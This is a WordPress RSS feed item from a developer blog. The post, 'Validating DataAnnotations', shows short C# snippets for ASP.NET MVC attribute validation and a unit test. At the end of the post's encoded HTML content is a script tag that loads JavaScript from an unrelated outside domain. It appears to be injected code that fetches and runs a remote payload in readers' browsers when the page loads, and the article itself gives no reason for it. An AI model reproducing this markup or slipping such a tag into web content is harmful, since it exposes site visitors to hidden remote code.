<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; ModelBinders</title>
	<atom:link href="http://eric.polerecky.com/archives/category/modelbinders/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Validating DataAnnotations</title>
		<link>http://eric.polerecky.com/archives/validating-dataannotations/</link>
		<comments>http://eric.polerecky.com/archives/validating-dataannotations/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 16:51:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[DataAnnotations]]></category>
		<category><![CDATA[ModelBinders]]></category>
		<category><![CDATA[TDD]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/validating-dataannotations/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>
public static IList&#60;String&#62; GetClassLevelErrors(object instance){    return TypeDescriptor.GetAttributes(instance).OfType&#60;ValidationAttribute&#62;()        .Where(attribute =&#62; !attribute.IsValid(instance))        .Select(attribute =&#62; attribute.FormatErrorMessage(string.Empty))        .ToList();}


[TestMethod]public void TestMethod1(){    var prop = typeof (DataAnnotationsModelBinderSpike.Models.Contact).GetProperty(&#34;First&#34;);    var attrib = prop.GetCustomAttributes(true).Cast&#60;RequiredAttribute&#62;().FirstOrDefault();


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"><span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> IList&lt;String&gt; GetClassLevelErrors(<span style="color: #0000ff">object</span> instance){    <span style="color: #0000ff">return</span> TypeDescriptor.GetAttributes(instance).OfType&lt;ValidationAttribute&gt;()        .Where(attribute =&gt; !attribute.IsValid(instance))        .Select(attribute =&gt; attribute.FormatErrorMessage(<span style="color: #0000ff">string</span>.Empty))        .ToList();}</pre>
<p></div>
<div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet">[TestMethod]<span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> TestMethod1(){    var prop = <span style="color: #0000ff">typeof</span> (DataAnnotationsModelBinderSpike.Models.Contact).GetProperty(<span style="color: #006080">&quot;First&quot;</span>);    var attrib = prop.GetCustomAttributes(<span style="color: #0000ff">true</span>).Cast&lt;RequiredAttribute&gt;().FirstOrDefault();    Assert.IsNotNull(attrib);}</pre>
<p></div>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/validating-dataannotations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
